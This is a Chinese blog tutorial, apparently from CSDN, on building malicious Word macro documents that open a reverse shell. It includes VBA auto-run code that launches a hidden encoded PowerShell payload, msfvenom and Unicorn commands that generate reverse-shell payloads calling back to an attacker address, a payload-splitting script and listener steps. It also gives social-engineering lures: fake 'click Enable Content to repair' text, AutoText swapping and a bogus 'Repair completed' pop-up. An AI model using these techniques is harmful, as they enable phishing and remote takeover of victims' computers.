Word宏getshell
作者:互联网
原理
在宏代码里写入执行shell连接的命令,当用户打开Word时,自定执行获得shell连接。前提条件需要用户点击启用宏,才能触发执行宏命令。所以需要考虑如何诱导用户点击启用宏。
简单示例
Word开启开发工具选项
在Word选项设置中开启开发工具选项。
在开发工具中主要用到“宏”和“visual basic”。
创建宏
点击“宏”,创建宏。宏的名称随意。
重点1:宏的位置需要选择当前Word,默认会保存到Normal.dotm模板里,传给别人后文档里可能不包含创建的恶意宏。
重点2:Word文件保存为doc格式,不能使用docx,docx不支持在文件中嵌入宏。
写入宏代码
宏代码示例如下:
Sub AutoOpen()
macro
End Sub
Sub Document_Open()
macro
End Sub
Sub macro()
Dim Str As String
Str = "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4Ad"
Str = Str + "ABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewA"
......
Str = Str + "wBdADoAOgBTAHQAYQByAHQAKAAkAHMAKQA7AA=="
CreateObject("Wscript.Shell").Run Str
End Sub
AutoOpen()和Document_Open()个人理解是Word中预定义好的,用于实现自动执行的。
macro()就是我们所创建建的,CreateObject()用于执行我们创建的恶意代码,此处的Str,如果换成cmd,当Word文件打开时,会自动打开cmd.exe。
Str就是我们创建的恶意代码。此处由于字符串的长度限制,故执行的powershell命令被分隔为了若干个字段。
利用msfvenom创建恶意代码,命令:msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.1 LPORT=9999
备注:尝试过用windows/meterpreter/reverse_tcp,能够回连,但连接有问题,建立又没有完全建立的感觉。
利用python实现恶意代码的分隔,脚本如下:
str = "payload"
# 用生成的恶意代码替换payload。
n = 50
for i in range(0, len(str), n):
print "Str = Str + " + '"' + str[i:i+n] + '"'
查看效果
完成以上操作后,保存关闭Word文件,在kali中开启nc监听,重新打开Word文件,即可看到shell连接建立。
其他宏利用方式
参考连接:各种基于 Visual Basic 宏的远程执行代码技术,用于在受感染的计算机上调用计量器。 (github.com)
诱导用户启用宏
利用的原理:
利用“自动图文集”功能,自动替换文档内容,结合诱导性文字,诱导用户点击“启用内容”,执行宏命令。
步骤一:编辑诱导性文字
这一步是关键,如何让用户相信并去点击左上角的“启用内容”。
示例:文档内容当前无法显示,请点击左上角“启用内容”修复文档内容。
步骤二:设置自动图文集
自动图文集功能,可以实现文档内容的自动替换。利用此功能让用户以为真的是点击“启用内容”后修复了文档内容。
功能位置:插入→文档部件→自动图文集
重点1:RealDoc,自动图文集的名称需要和宏代码中保持一致,具体位置在Private Sub SubstitutePage()中的autoTextTemplateName。
重点2:自动图文集的设置,先选中替换后的文字,然后点击“将所选内容保存到自动图文集库”。
步骤三:修改宏代码并创建宏
需要修改的是Malware()里的内容:
1、MsgBox()中的内容即为弹框显示的内容,可以输入“修复完成”等配合前面的诱导性话语,提高真实性。
2、添加恶意宏代码,直接用简单示例中的代码即可。
需改动部分的代码示例如下:
Private Sub Malware()
'
' ============================================
'
' Enter here your malware code here.
' It will be started on auto open surely.
'
' ============================================
Dim Str As String
Str = "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4Ad"
......
Str = Str + "ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAc"
Str = Str + "wBdADoAOgBTAHQAYQByAHQAKAAkAHMAKQA7AA=="
CreateObject("Wscript.Shell").Run Str
MsgBox ("Repair completed")
' ============================================
End Sub
创建宏的方式与简单示例中相同。
查看效果
当用户点击确定之后,自动文档所有内容替换为RealDoc中的文字。
利用Unicorn生成恶意宏
下载到本地后执行命令:python unicorn.py windows/shell_reverse_tcp 192.168.128.120 9999 macro
触发效果:用户打开文档后,出现弹框,弹框内容为宏代码中最后部分的文字,伪装成一个文档出错的报错弹框,用户点击确定后,文档则会被关闭,同时,会触发宏代码中的回连powershell命令。
重点:这里我依然采用了nc监听的方式连接的。根据unicorn的提示,通过msf用unicorn.rc开启监听,尝试后出现连接上了但无法使用的情况。
标签:getshell,Word,Sub,宏代码,点击,文档,Str 来源: https://blog.csdn.net/b10d9/article/details/122772165